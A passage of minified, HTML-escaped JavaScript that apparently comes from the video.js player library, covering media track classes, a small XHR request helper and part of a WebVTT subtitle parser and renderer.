this.trackElements_[index]}}),-1===this.trackElements_.indexOf(trackElement)&amp;&amp;this.trackElements_.push(trackElement)},_proto.getTrackElementByTrack_=function(track){for(var trackElement_,i=0,length=this.trackElements_.length;i&lt;length;i++)if(track===this.trackElements_[i].track){trackElement_=this.trackElements_[i];break}return trackElement_},_proto.removeTrackElement_=function(trackElement){for(var i=0,length=this.trackElements_.length;i&lt;length;i++)if(trackElement===this.trackElements_[i]){this.trackElements_[i].track&amp;&amp;&quot;function&quot;==typeof this.trackElements_[i].track.off&amp;&amp;this.trackElements_[i].track.off(),&quot;function&quot;==typeof this.trackElements_[i].off&amp;&amp;this.trackElements_[i].off(),this.trackElements_.splice(i,1);break}},HtmlTrackElementList}(),TextTrackCueList=function(){function TextTrackCueList(cues){TextTrackCueList.prototype.setCues_.call(this,cues),Object.defineProperty(this,&quot;length&quot;,{get:function(){return this.length_}})}var _proto=TextTrackCueList.prototype;return _proto.setCues_=function(cues){var oldLength=this.length||0,i=0,l=cues.length;this.cues_=cues,this.length_=cues.length;var defineProp=function(index){&quot;&quot;+index in this||Object.defineProperty(this,&quot;&quot;+index,{get:function(){return this.cues_[index]}})};if(oldLength&lt;l)for(i=oldLength;i&lt;l;i++)defineProp.call(this,i)},_proto.getCueById=function(id){for(var result=null,i=0,l=this.length;i&lt;l;i++){var cue=this[i];if(cue.id===id){result=cue;break}}return result},TextTrackCueList}(),VideoTrackKind={alternative:&quot;alternative&quot;,captions:&quot;captions&quot;,main:&quot;main&quot;,sign:&quot;sign&quot;,subtitles:&quot;subtitles&quot;,commentary:&quot;commentary&quot;},AudioTrackKind={alternative:&quot;alternative&quot;,descriptions:&quot;descriptions&quot;,main:&quot;main&quot;,&quot;main-desc&quot;:&quot;main-desc&quot;,translation:&quot;translation&quot;,commentary:&quot;commentary&quot;},TextTrackKind={subtitles:&quot;subtitles&quot;,captions:&quot;captions&quot;,descriptions:&quot;descriptions&quot;,chapters:&quot;chapters&quot;,metadata:&quot;metadata&quot;},TextTrackMode={disabled:&quot;disabled&quot;,hidden:&quot;hidden&quot;,showing:&quot;showing&quot;},Track=function(_EventTarget){function Track(options){var _this;void 0===options&amp;&amp;(options={}),_this=_EventTarget.call(this)||this;var trackProps={id:options.id||&quot;vjs_track_&quot;+newGUID(),kind:options.kind||&quot;&quot;,language:options.language||&quot;&quot;},label=options.label||&quot;&quot;,_loop=function(key){Object.defineProperty(assertThisInitialized(_this),key,{get:function(){return trackProps[key]},set:function(){}})};for(var key in trackProps)_loop(key);return Object.defineProperty(assertThisInitialized(_this),&quot;label&quot;,{get:function(){return label},set:function(newLabel){newLabel!==label&amp;&amp;(label=newLabel,this.trigger(&quot;labelchange&quot;))}}),_this}return inheritsLoose(Track,_EventTarget),Track}(EventTarget$2),parseUrl=function(url){var props=[&quot;protocol&quot;,&quot;hostname&quot;,&quot;port&quot;,&quot;pathname&quot;,&quot;search&quot;,&quot;hash&quot;,&quot;host&quot;],a=document.createElement(&quot;a&quot;);a.href=url;for(var details={},i=0;i&lt;props.length;i++)details[props[i]]=a[props[i]];return&quot;http:&quot;===details.protocol&amp;&amp;(details.host=details.host.replace(/:80$/,&quot;&quot;)),&quot;https:&quot;===details.protocol&amp;&amp;(details.host=details.host.replace(/:443$/,&quot;&quot;)),details.protocol||(details.protocol=window.location.protocol),details.host||(details.host=window.location.host),details},getAbsoluteURL=function(url){if(!url.match(/^https?:\/\//)){var a=document.createElement(&quot;a&quot;);a.href=url,url=a.href}return url},getFileExtension=function(path){if(&quot;string&quot;==typeof path){var pathParts=/^(\/?)([\s\S]*?)((?:\.{1,2}|[^\/]+?)(\.([^\.\/\?]+)))(?:[\/]*|[\?].*)$/.exec(path);if(pathParts)return pathParts.pop().toLowerCase()}return&quot;&quot;},isCrossOrigin=function(url,winLoc){void 0===winLoc&amp;&amp;(winLoc=window.location);var urlInfo=parseUrl(url);return(&quot;:&quot;===urlInfo.protocol?winLoc.protocol:urlInfo.protocol)+urlInfo.host!==winLoc.protocol+winLoc.host},Url=Object.freeze({__proto__:null,parseUrl:parseUrl,getAbsoluteURL:getAbsoluteURL,getFileExtension:getFileExtension,isCrossOrigin:isCrossOrigin}),window_1=&quot;undefined&quot;!=typeof window?window:void 0!==commonjsGlobal?commonjsGlobal:&quot;undefined&quot;!=typeof self?self:{},isFunction_1=function(fn){if(!fn)return!1;var string=toString.call(fn);return&quot;[object Function]&quot;===string||&quot;function&quot;==typeof fn&amp;&amp;&quot;[object RegExp]&quot;!==string||&quot;undefined&quot;!=typeof window&amp;&amp;(fn===window.setTimeout||fn===window.alert||fn===window.confirm||fn===window.prompt)},toString=Object.prototype.toString;var httpHandler=function(callback,decodeResponseBody){return void 0===decodeResponseBody&amp;&amp;(decodeResponseBody=!1),function(err,response,responseBody){if(err)callback(err);else if(response.statusCode&gt;=400&amp;&amp;response.statusCode&lt;=599){var cause=responseBody;if(decodeResponseBody)if(window_1.TextDecoder){var charset=function(contentTypeHeader){void 0===contentTypeHeader&amp;&amp;(contentTypeHeader=&quot;&quot;);return contentTypeHeader.toLowerCase().split(&quot;;&quot;).reduce((function(charset,contentType){var _contentType$split=contentType.split(&quot;=&quot;),type=_contentType$split[0],value=_contentType$split[1];return&quot;charset&quot;===type.trim()?value.trim():charset}),&quot;utf-8&quot;)}(response.headers&amp;&amp;response.headers[&quot;content-type&quot;]);try{cause=new TextDecoder(charset).decode(responseBody)}catch(e){}}else cause=String.fromCharCode.apply(null,new Uint8Array(responseBody));callback({cause:cause})}else callback(null,responseBody)}};createXHR.httpHandler=httpHandler;
/**
   * @license
   * slighly modified parse-headers 2.0.2 &lt;https://github.com/kesla/parse-headers/&gt;
   * Copyright (c) 2014 David Björklund
   * Available under the MIT license
   * &lt;https://github.com/kesla/parse-headers/blob/master/LICENCE&gt;
   */
var lib=createXHR,default_1=createXHR;function initParams(uri,options,callback){var params=uri;return isFunction_1(options)?(callback=options,&quot;string&quot;==typeof uri&amp;&amp;(params={uri:uri})):params=_extends_1({},options,{uri:uri}),params.callback=callback,params}function createXHR(uri,options,callback){return _createXHR(options=initParams(uri,options,callback))}function _createXHR(options){if(void 0===options.callback)throw new Error(&quot;callback argument missing&quot;);var called=!1,callback=function(err,response,body){called||(called=!0,options.callback(err,response,body))};function getBody(){var body=void 0;if(body=xhr.response?xhr.response:xhr.responseText||function(xhr){try{if(&quot;document&quot;===xhr.responseType)return xhr.responseXML;var firefoxBugTakenEffect=xhr.responseXML&amp;&amp;&quot;parsererror&quot;===xhr.responseXML.documentElement.nodeName;if(&quot;&quot;===xhr.responseType&amp;&amp;!firefoxBugTakenEffect)return xhr.responseXML}catch(e){}return null}(xhr),isJson)try{body=JSON.parse(body)}catch(e){}return body}function errorFunc(evt){return clearTimeout(timeoutTimer),evt instanceof Error||(evt=new Error(&quot;&quot;+(evt||&quot;Unknown XMLHttpRequest Error&quot;))),evt.statusCode=0,callback(evt,failureResponse)}function loadFunc(){if(!aborted){var status;clearTimeout(timeoutTimer),status=options.useXDR&amp;&amp;void 0===xhr.status?200:1223===xhr.status?204:xhr.status;var response=failureResponse,err=null;return 0!==status?(response={body:getBody(),statusCode:status,method:method,headers:{},url:uri,rawRequest:xhr},xhr.getAllResponseHeaders&amp;&amp;(response.headers=function(headers){var result={};return headers?(headers.trim().split(&quot;\n&quot;).forEach((function(row){var index=row.indexOf(&quot;:&quot;),key=row.slice(0,index).trim().toLowerCase(),value=row.slice(index+1).trim();void 0===result[key]?result[key]=value:Array.isArray(result[key])?result[key].push(value):result[key]=[result[key],value]})),result):result}(xhr.getAllResponseHeaders()))):err=new Error(&quot;Internal XMLHttpRequest Error&quot;),callback(err,response,response.body)}}var key,aborted,xhr=options.xhr||null;xhr||(xhr=options.cors||options.useXDR?new createXHR.XDomainRequest:new createXHR.XMLHttpRequest);var timeoutTimer,uri=xhr.url=options.uri||options.url,method=xhr.method=options.method||&quot;GET&quot;,body=options.body||options.data,headers=xhr.headers=options.headers||{},sync=!!options.sync,isJson=!1,failureResponse={body:void 0,headers:{},statusCode:0,method:method,url:uri,rawRequest:xhr};if(&quot;json&quot;in options&amp;&amp;!1!==options.json&amp;&amp;(isJson=!0,headers.accept||headers.Accept||(headers.Accept=&quot;application/json&quot;),&quot;GET&quot;!==method&amp;&amp;&quot;HEAD&quot;!==method&amp;&amp;(headers[&quot;content-type&quot;]||headers[&quot;Content-Type&quot;]||(headers[&quot;Content-Type&quot;]=&quot;application/json&quot;),body=JSON.stringify(!0===options.json?body:options.json))),xhr.onreadystatechange=function(){4===xhr.readyState&amp;&amp;setTimeout(loadFunc,0)},xhr.onload=loadFunc,xhr.onerror=errorFunc,xhr.onprogress=function(){},xhr.onabort=function(){aborted=!0},xhr.ontimeout=errorFunc,xhr.open(method,uri,!sync,options.username,options.password),sync||(xhr.withCredentials=!!options.withCredentials),!sync&amp;&amp;options.timeout&gt;0&amp;&amp;(timeoutTimer=setTimeout((function(){if(!aborted){aborted=!0,xhr.abort(&quot;timeout&quot;);var e=new Error(&quot;XMLHttpRequest timeout&quot;);e.code=&quot;ETIMEDOUT&quot;,errorFunc(e)}}),options.timeout)),xhr.setRequestHeader)for(key in headers)headers.hasOwnProperty(key)&amp;&amp;xhr.setRequestHeader(key,headers[key]);else if(options.headers&amp;&amp;!function(obj){for(var i in obj)if(obj.hasOwnProperty(i))return!1;return!0}(options.headers))throw new Error(&quot;Headers cannot be set on an XDomainRequest object&quot;);return&quot;responseType&quot;in options&amp;&amp;(xhr.responseType=options.responseType),&quot;beforeSend&quot;in options&amp;&amp;&quot;function&quot;==typeof options.beforeSend&amp;&amp;options.beforeSend(xhr),xhr.send(body||null),xhr}createXHR.XMLHttpRequest=window_1.XMLHttpRequest||function(){},createXHR.XDomainRequest=&quot;withCredentials&quot;in new createXHR.XMLHttpRequest?createXHR.XMLHttpRequest:window_1.XDomainRequest,function(array,iterator){for(var i=0;i&lt;array.length;i++)iterator(array[i])}([&quot;get&quot;,&quot;put&quot;,&quot;post&quot;,&quot;patch&quot;,&quot;head&quot;,&quot;delete&quot;],(function(method){createXHR[&quot;delete&quot;===method?&quot;del&quot;:method]=function(uri,options,callback){return(options=initParams(uri,options,callback)).method=method.toUpperCase(),_createXHR(options)}})),lib.default=default_1;var parseCues=function(srcContent,track){var parser=new window.WebVTT.Parser(window,window.vttjs,window.WebVTT.StringDecoder()),errors=[];parser.oncue=function(cue){track.addCue(cue)},parser.onparsingerror=function(error){errors.push(error)},parser.onflush=function(){track.trigger({type:&quot;loadeddata&quot;,target:track})},parser.parse(srcContent),errors.length&gt;0&amp;&amp;(window.console&amp;&amp;window.console.groupCollapsed&amp;&amp;window.console.groupCollapsed(&quot;Text Track parsing errors for &quot;+track.src),errors.forEach((function(error){return log$1.error(error)})),window.console&amp;&amp;window.console.groupEnd&amp;&amp;window.console.groupEnd()),parser.flush()},loadTrack=function(src,track){var opts={uri:src},crossOrigin=isCrossOrigin(src);crossOrigin&amp;&amp;(opts.cors=crossOrigin);var withCredentials=&quot;use-credentials&quot;===track.tech_.crossOrigin();withCredentials&amp;&amp;(opts.withCredentials=withCredentials),lib(opts,bind(this,(function(err,response,responseBody){if(err)return log$1.error(err,response);track.loaded_=!0,&quot;function&quot;!=typeof window.WebVTT?track.tech_&amp;&amp;track.tech_.any([&quot;vttjsloaded&quot;,&quot;vttjserror&quot;],(function(event){if(&quot;vttjserror&quot;!==event.type)return parseCues(responseBody,track);log$1.error(&quot;vttjs failed to load, stopping trying to process &quot;+track.src)})):parseCues(responseBody,track)})))},TextTrack=function(_Track){function TextTrack(options){var _this;if(void 0===options&amp;&amp;(options={}),!options.tech)throw new Error(&quot;A tech was not provided.&quot;);var settings=mergeOptions$3(options,{kind:TextTrackKind[options.kind]||&quot;subtitles&quot;,language:options.language||options.srclang||&quot;&quot;}),mode=TextTrackMode[settings.mode]||&quot;disabled&quot;,default_=settings.default;&quot;metadata&quot;!==settings.kind&amp;&amp;&quot;chapters&quot;!==settings.kind||(mode=&quot;hidden&quot;),(_this=_Track.call(this,settings)||this).tech_=settings.tech,_this.cues_=[],_this.activeCues_=[],_this.preload_=!1!==_this.tech_.preloadTextTracks;var cues=new TextTrackCueList(_this.cues_),activeCues=new TextTrackCueList(_this.activeCues_),changed=!1,timeupdateHandler=bind(assertThisInitialized(_this),(function(){this.tech_.isReady_&amp;&amp;!this.tech_.isDisposed()&amp;&amp;(this.activeCues=this.activeCues,changed&amp;&amp;(this.trigger(&quot;cuechange&quot;),changed=!1))}));return _this.tech_.one(&quot;dispose&quot;,(function(){_this.tech_.off(&quot;timeupdate&quot;,timeupdateHandler)})),&quot;disabled&quot;!==mode&amp;&amp;_this.tech_.on(&quot;timeupdate&quot;,timeupdateHandler),Object.defineProperties(assertThisInitialized(_this),{default:{get:function(){return default_},set:function(){}},mode:{get:function(){return mode},set:function(newMode){TextTrackMode[newMode]&amp;&amp;mode!==newMode&amp;&amp;(mode=newMode,this.preload_||&quot;disabled&quot;===mode||0!==this.cues.length||loadTrack(this.src,this),this.tech_.off(&quot;timeupdate&quot;,timeupdateHandler),&quot;disabled&quot;!==mode&amp;&amp;this.tech_.on(&quot;timeupdate&quot;,timeupdateHandler),this.trigger(&quot;modechange&quot;))}},cues:{get:function(){return this.loaded_?cues:null},set:function(){}},activeCues:{get:function(){if(!this.loaded_)return null;if(0===this.cues.length)return activeCues;for(var ct=this.tech_.currentTime(),active=[],i=0,l=this.cues.length;i&lt;l;i++){var cue=this.cues[i];(cue.startTime&lt;=ct&amp;&amp;cue.endTime&gt;=ct||cue.startTime===cue.endTime&amp;&amp;cue.startTime&lt;=ct&amp;&amp;cue.startTime+.5&gt;=ct)&amp;&amp;active.push(cue)}if(changed=!1,active.length!==this.activeCues_.length)changed=!0;else for(var _i=0;_i&lt;active.length;_i++)-1===this.activeCues_.indexOf(active[_i])&amp;&amp;(changed=!0);return this.activeCues_=active,activeCues.setCues_(this.activeCues_),activeCues},set:function(){}}}),settings.src?(_this.src=settings.src,_this.preload_||(_this.loaded_=!0),(_this.preload_||&quot;subtitles&quot;!==settings.kind&amp;&amp;&quot;captions&quot;!==settings.kind)&amp;&amp;loadTrack(_this.src,assertThisInitialized(_this))):_this.loaded_=!0,_this}inheritsLoose(TextTrack,_Track);var _proto=TextTrack.prototype;return _proto.addCue=function(originalCue){var cue=originalCue;if(window.vttjs&amp;&amp;!(originalCue instanceof window.vttjs.VTTCue)){for(var prop in cue=new window.vttjs.VTTCue(originalCue.startTime,originalCue.endTime,originalCue.text),originalCue)prop in cue||(cue[prop]=originalCue[prop]);cue.id=originalCue.id,cue.originalCue_=originalCue}for(var tracks=this.tech_.textTracks(),i=0;i&lt;tracks.length;i++)tracks[i]!==this&amp;&amp;tracks[i].removeCue(cue);this.cues_.push(cue),this.cues.setCues_(this.cues_)},_proto.removeCue=function(_removeCue){for(var i=this.cues_.length;i--;){var cue=this.cues_[i];if(cue===_removeCue||cue.originalCue_&amp;&amp;cue.originalCue_===_removeCue){this.cues_.splice(i,1),this.cues.setCues_(this.cues_);break}}},TextTrack}(Track);TextTrack.prototype.allowedEvents_={cuechange:&quot;cuechange&quot;};var AudioTrack=function(_Track){function AudioTrack(options){var _this;void 0===options&amp;&amp;(options={});var settings=mergeOptions$3(options,{kind:AudioTrackKind[options.kind]||&quot;&quot;});_this=_Track.call(this,settings)||this;var enabled=!1;return Object.defineProperty(assertThisInitialized(_this),&quot;enabled&quot;,{get:function(){return enabled},set:function(newEnabled){&quot;boolean&quot;==typeof newEnabled&amp;&amp;newEnabled!==enabled&amp;&amp;(enabled=newEnabled,this.trigger(&quot;enabledchange&quot;))}}),settings.enabled&amp;&amp;(_this.enabled=settings.enabled),_this.loaded_=!0,_this}return inheritsLoose(AudioTrack,_Track),AudioTrack}(Track),VideoTrack=function(_Track){function VideoTrack(options){var _this;void 0===options&amp;&amp;(options={});var settings=mergeOptions$3(options,{kind:VideoTrackKind[options.kind]||&quot;&quot;});_this=_Track.call(this,settings)||this;var selected=!1;return Object.defineProperty(assertThisInitialized(_this),&quot;selected&quot;,{get:function(){return selected},set:function(newSelected){&quot;boolean&quot;==typeof newSelected&amp;&amp;newSelected!==selected&amp;&amp;(selected=newSelected,this.trigger(&quot;selectedchange&quot;))}}),settings.selected&amp;&amp;(_this.selected=settings.selected),_this}return inheritsLoose(VideoTrack,_Track),VideoTrack}(Track),HTMLTrackElement=function(_EventTarget){function HTMLTrackElement(options){var _this,readyState;void 0===options&amp;&amp;(options={}),_this=_EventTarget.call(this)||this;var track=new TextTrack(options);return _this.kind=track.kind,_this.src=track.src,_this.srclang=track.language,_this.label=track.label,_this.default=track.default,Object.defineProperties(assertThisInitialized(_this),{readyState:{get:function(){return readyState}},track:{get:function(){return track}}}),readyState=0,track.addEventListener(&quot;loadeddata&quot;,(function(){readyState=2,_this.trigger({type:&quot;load&quot;,target:assertThisInitialized(_this)})})),_this}return inheritsLoose(HTMLTrackElement,_EventTarget),HTMLTrackElement}(EventTarget$2);HTMLTrackElement.prototype.allowedEvents_={load:&quot;load&quot;},HTMLTrackElement.NONE=0,HTMLTrackElement.LOADING=1,HTMLTrackElement.LOADED=2,HTMLTrackElement.ERROR=3;var NORMAL={audio:{ListClass:AudioTrackList,TrackClass:AudioTrack,capitalName:&quot;Audio&quot;},video:{ListClass:VideoTrackList,TrackClass:VideoTrack,capitalName:&quot;Video&quot;},text:{ListClass:TextTrackList,TrackClass:TextTrack,capitalName:&quot;Text&quot;}};Object.keys(NORMAL).forEach((function(type){NORMAL[type].getterName=type+&quot;Tracks&quot;,NORMAL[type].privateName=type+&quot;Tracks_&quot;}));var REMOTE={remoteText:{ListClass:TextTrackList,TrackClass:TextTrack,capitalName:&quot;RemoteText&quot;,getterName:&quot;remoteTextTracks&quot;,privateName:&quot;remoteTextTracks_&quot;},remoteTextEl:{ListClass:HtmlTrackElementList,TrackClass:HTMLTrackElement,capitalName:&quot;RemoteTextTrackEls&quot;,getterName:&quot;remoteTextTrackEls&quot;,privateName:&quot;remoteTextTrackEls_&quot;}},ALL=_extends_1({},NORMAL,REMOTE);REMOTE.names=Object.keys(REMOTE),NORMAL.names=Object.keys(NORMAL),ALL.names=[].concat(REMOTE.names).concat(NORMAL.names);var doccy,topLevel=void 0!==commonjsGlobal?commonjsGlobal:&quot;undefined&quot;!=typeof window?window:{};&quot;undefined&quot;!=typeof document?doccy=document:(doccy=topLevel[&quot;__GLOBAL_DOCUMENT_CACHE@4&quot;])||(doccy=topLevel[&quot;__GLOBAL_DOCUMENT_CACHE@4&quot;]={});var document_1=doccy,_objCreate=Object.create||function(){function F(){}return function(o){if(1!==arguments.length)throw new Error(&quot;Object.create shim only accepts one parameter.&quot;);return F.prototype=o,new F}}();function ParsingError(errorData,message){this.name=&quot;ParsingError&quot;,this.code=errorData.code,this.message=message||errorData.message}function parseTimeStamp(input){function computeSeconds(h,m,s,f){return 3600*(0|h)+60*(0|m)+(0|s)+(0|f)/1e3}var m=input.match(/^(\d+):(\d{1,2})(:\d{1,2})?\.(\d{3})/);return m?m[3]?computeSeconds(m[1],m[2],m[3].replace(&quot;:&quot;,&quot;&quot;),m[4]):m[1]&gt;59?computeSeconds(m[1],m[2],0,m[4]):computeSeconds(0,m[1],m[2],m[4]):null}function Settings(){this.values=_objCreate(null)}function parseOptions(input,callback,keyValueDelim,groupDelim){var groups=groupDelim?input.split(groupDelim):[input];for(var i in groups)if(&quot;string&quot;==typeof groups[i]){var kv=groups[i].split(keyValueDelim);if(2===kv.length)callback(kv[0],kv[1])}}function parseCue(input,cue,regionList){var oInput=input;function consumeTimeStamp(){var ts=parseTimeStamp(input);if(null===ts)throw new ParsingError(ParsingError.Errors.BadTimeStamp,&quot;Malformed timestamp: &quot;+oInput);return input=input.replace(/^[^\sa-zA-Z-]+/,&quot;&quot;),ts}function skipWhitespace(){input=input.replace(/^\s+/,&quot;&quot;)}if(skipWhitespace(),cue.startTime=consumeTimeStamp(),skipWhitespace(),&quot;--\x3e&quot;!==input.substr(0,3))throw new ParsingError(ParsingError.Errors.BadTimeStamp,&quot;Malformed time stamp (time stamps must be separated by &#039;--\x3e&#039;): &quot;+oInput);input=input.substr(3),skipWhitespace(),cue.endTime=consumeTimeStamp(),skipWhitespace(),function(input,cue){var settings=new Settings;parseOptions(input,(function(k,v){switch(k){case&quot;region&quot;:for(var i=regionList.length-1;i&gt;=0;i--)if(regionList[i].id===v){settings.set(k,regionList[i].region);break}break;case&quot;vertical&quot;:settings.alt(k,v,[&quot;rl&quot;,&quot;lr&quot;]);break;case&quot;line&quot;:var vals=v.split(&quot;,&quot;),vals0=vals[0];settings.integer(k,vals0),settings.percent(k,vals0)&amp;&amp;settings.set(&quot;snapToLines&quot;,!1),settings.alt(k,vals0,[&quot;auto&quot;]),2===vals.length&amp;&amp;settings.alt(&quot;lineAlign&quot;,vals[1],[&quot;start&quot;,&quot;center&quot;,&quot;end&quot;]);break;case&quot;position&quot;:vals=v.split(&quot;,&quot;),settings.percent(k,vals[0]),2===vals.length&amp;&amp;settings.alt(&quot;positionAlign&quot;,vals[1],[&quot;start&quot;,&quot;center&quot;,&quot;end&quot;]);break;case&quot;size&quot;:settings.percent(k,v);break;case&quot;align&quot;:settings.alt(k,v,[&quot;start&quot;,&quot;center&quot;,&quot;end&quot;,&quot;left&quot;,&quot;right&quot;])}}),/:/,/\s/),cue.region=settings.get(&quot;region&quot;,null),cue.vertical=settings.get(&quot;vertical&quot;,&quot;&quot;);try{cue.line=settings.get(&quot;line&quot;,&quot;auto&quot;)}catch(e){}cue.lineAlign=settings.get(&quot;lineAlign&quot;,&quot;start&quot;),cue.snapToLines=settings.get(&quot;snapToLines&quot;,!0),cue.size=settings.get(&quot;size&quot;,100);try{cue.align=settings.get(&quot;align&quot;,&quot;center&quot;)}catch(e){cue.align=settings.get(&quot;align&quot;,&quot;middle&quot;)}try{cue.position=settings.get(&quot;position&quot;,&quot;auto&quot;)}catch(e){cue.position=settings.get(&quot;position&quot;,{start:0,left:0,center:50,middle:50,end:100,right:100},cue.align)}cue.positionAlign=settings.get(&quot;positionAlign&quot;,{start:&quot;start&quot;,left:&quot;start&quot;,center:&quot;center&quot;,middle:&quot;center&quot;,end:&quot;end&quot;,right:&quot;end&quot;},cue.align)}(input,cue)}ParsingError.prototype=_objCreate(Error.prototype),ParsingError.prototype.constructor=ParsingError,ParsingError.Errors={BadSignature:{code:0,message:&quot;Malformed WebVTT signature.&quot;},BadTimeStamp:{code:1,message:&quot;Malformed time stamp.&quot;}},Settings.prototype={set:function(k,v){this.get(k)||&quot;&quot;===v||(this.values[k]=v)},get:function(k,dflt,defaultKey){return defaultKey?this.has(k)?this.values[k]:dflt[defaultKey]:this.has(k)?this.values[k]:dflt},has:function(k){return k in this.values},alt:function(k,v,a){for(var n=0;n&lt;a.length;++n)if(v===a[n]){this.set(k,v);break}},integer:function(k,v){/^-?\d+$/.test(v)&amp;&amp;this.set(k,parseInt(v,10))},percent:function(k,v){return!!(v.match(/^([\d]{1,3})(\.[\d]*)?%$/)&amp;&amp;(v=parseFloat(v))&gt;=0&amp;&amp;v&lt;=100)&amp;&amp;(this.set(k,v),!0)}};var TEXTAREA_ELEMENT=document_1.createElement&amp;&amp;document_1.createElement(&quot;textarea&quot;),TAG_NAME={c:&quot;span&quot;,i:&quot;i&quot;,b:&quot;b&quot;,u:&quot;u&quot;,ruby:&quot;ruby&quot;,rt:&quot;rt&quot;,v:&quot;span&quot;,lang:&quot;span&quot;},DEFAULT_COLOR_CLASS={white:&quot;rgba(255,255,255,1)&quot;,lime:&quot;rgba(0,255,0,1)&quot;,cyan:&quot;rgba(0,255,255,1)&quot;,red:&quot;rgba(255,0,0,1)&quot;,yellow:&quot;rgba(255,255,0,1)&quot;,magenta:&quot;rgba(255,0,255,1)&quot;,blue:&quot;rgba(0,0,255,1)&quot;,black:&quot;rgba(0,0,0,1)&quot;},TAG_ANNOTATION={v:&quot;title&quot;,lang:&quot;lang&quot;},NEEDS_PARENT={rt:&quot;ruby&quot;};function parseContent(window,input){function nextToken(){if(!input)return null;var result,m=input.match(/^([^&lt;]*)(&lt;[^&gt;]*&gt;?)?/);return result=m[1]?m[1]:m[2],input=input.substr(result.length),result}function shouldAdd(current,element){return!NEEDS_PARENT[element.localName]||NEEDS_PARENT[element.localName]===current.localName}function createElement(type,annotation){var tagName=TAG_NAME[type];if(!tagName)return null;var element=window.document.createElement(tagName),name=TAG_ANNOTATION[type];return name&amp;&amp;annotation&amp;&amp;(element[name]=annotation.trim()),element}for(var t,s,rootDiv=window.document.createElement(&quot;div&quot;),current=rootDiv,tagStack=[];null!==(t=nextToken());)if(&quot;&lt;&quot;!==t[0])current.appendChild(window.document.createTextNode((s=t,TEXTAREA_ELEMENT.innerHTML=s,s=TEXTAREA_ELEMENT.textContent,TEXTAREA_ELEMENT.textContent=&quot;&quot;,s)));else{if(&quot;/&quot;===t[1]){tagStack.length&amp;&amp;tagStack[tagStack.length-1]===t.substr(2).replace(&quot;&gt;&quot;,&quot;&quot;)&amp;&amp;(tagStack.pop(),current=current.parentNode);continue}var node,ts=parseTimeStamp(t.substr(1,t.length-2));if(ts){node=window.document.createProcessingInstruction(&quot;timestamp&quot;,ts),current.appendChild(node);continue}var m=t.match(/^&lt;([^.\s/0-9&gt;]+)(\.[^\s\\&gt;]+)?([^&gt;\\]+)?(\\?)&gt;?$/);if(!m)continue;if(!(node=createElement(m[1],m[3])))continue;if(!shouldAdd(current,node))continue;if(m[2]){var classes=m[2].split(&quot;.&quot;);classes.forEach((function(cl){var bgColor=/^bg_/.test(cl),colorName=bgColor?cl.slice(3):cl;if(DEFAULT_COLOR_CLASS.hasOwnProperty(colorName)){var propName=bgColor?&quot;background-color&quot;:&quot;color&quot;,propValue=DEFAULT_COLOR_CLASS[colorName];node.style[propName]=propValue}})),node.className=classes.join(&quot; &quot;)}tagStack.push(m[1]),current.appendChild(node),current=node}return rootDiv}var strongRTLRanges=[[1470,1470],[1472,1472],[1475,1475],[1478,1478],[1488,1514],[1520,1524],[1544,1544],[1547,1547],[1549,1549],[1563,1563],[1566,1610],[1645,1647],[1649,1749],[1765,1766],[1774,1775],[1786,1805],[1807,1808],[1810,1839],[1869,1957],[1969,1969],[1984,2026],[2036,2037],[2042,2042],[2048,2069],[2074,2074],[2084,2084],[2088,2088],[2096,2110],[2112,2136],[2142,2142],[2208,2208],[2210,2220],[8207,8207],[64285,64285],[64287,64296],[64298,64310],[64312,64316],[64318,64318],[64320,64321],[64323,64324],[64326,64449],[64467,64829],[64848,64911],[64914,64967],[65008,65020],[65136,65140],[65142,65276],[67584,67589],[67592,67592],[67594,67637],[67639,67640],[67644,67644],[67647,67669],[67671,67679],[67840,67867],[67872,67897],[67903,67903],[67968,68023],[68030,68031],[68096,68096],[68112,68115],[68117,68119],[68121,68147],[68160,68167],[68176,68184],[68192,68223],[68352,68405],[68416,68437],[68440,68466],[68472,68479],[68608,68680],[126464,126467],[126469,126495],[126497,126498],[126500,126500],[126503,126503],[126505,126514],[126516,126519],[126521,126521],[126523,126523],[126530,126530],[126535,126535],[126537,126537],[126539,126539],[126541,126543],[126545,126546],[126548,126548],[126551,126551],[126553,126553],[126555,126555],[126557,126557],[126559,126559],[126561,126562],[126564,126564],[126567,126570],[126572,126578],[126580,126583],[126585,126588],[126590,126590],[126592,126601],[126603,126619],[126625,126627],[126629,126633],[126635,126651],[1114109,1114109]];function isStrongRTLChar(charCode){for(var i=0;i&lt;strongRTLRanges.length;i++){var currentRange=strongRTLRanges[i];if(charCode&gt;=currentRange[0]&amp;&amp;charCode&lt;=currentRange[1])return!0}return!1}function determineBidi(cueDiv){var nodeStack=[],text=&quot;&quot;;if(!cueDiv||!cueDiv.childNodes)return&quot;ltr&quot;;function pushNodes(nodeStack,node){for(var i=node.childNodes.length-1;i&gt;=0;i--)nodeStack.push(node.childNodes[i])}function nextTextNode(nodeStack){if(!nodeStack||!nodeStack.length)return null;var node=nodeStack.pop(),text=node.textContent||node.innerText;if(text){var m=text.match(/^.*(\n|\r)/);return m?(nodeStack.length=0,m[0]):text}return&quot;ruby&quot;===node.tagName?nextTextNode(nodeStack):node.childNodes?(pushNodes(nodeStack,node),nextTextNode(nodeStack)):void 0}for(pushNodes(nodeStack,cueDiv);text=nextTextNode(nodeStack);)for(var i=0;i&lt;text.length;i++)if(isStrongRTLChar(text.charCodeAt(i)))return&quot;rtl&quot;;return&quot;ltr&quot;}function StyleBox(){}function CueStyleBox(window,cue,styleOptions){StyleBox.call(this),this.cue=cue,this.cueDiv=parseContent(window,cue.text);var styles={color:&quot;rgba(255, 255, 255, 1)&quot;,backgroundColor:&quot;rgba(0, 0, 0, 0.8)&quot;,position:&quot;relative&quot;,left:0,right:0,top:0,bottom:0,display:&quot;inline&quot;,writingMode:&quot;&quot;===cue.vertical?&quot;horizontal-tb&quot;:&quot;lr&quot;===cue.vertical?&quot;vertical-lr&quot;:&quot;vertical-rl&quot;,unicodeBidi:&quot;plaintext&quot;};this.applyStyles(styles,this.cueDiv),this.div=window.document.createElement(&quot;div&quot;),styles={direction:determineBidi(this.cueDiv),writingMode:&quot;&quot;===cue.vertical?&quot;horizontal-tb&quot;:&quot;lr&quot;===cue.vertical?&quot;vertical-lr&quot;:&quot;vertical-rl&quot;,unicodeBidi:&quot;plaintext&quot;,textAlign:&quot;middle&quot;===cue.align?&quot;center&quot;:cue.align,font:styleOptions.font,whiteSpace:&quot;pre-line&quot;,position:&quot;absolute&quot;},this.applyStyles(styles),this.div.appendChild(this.cueDiv);var 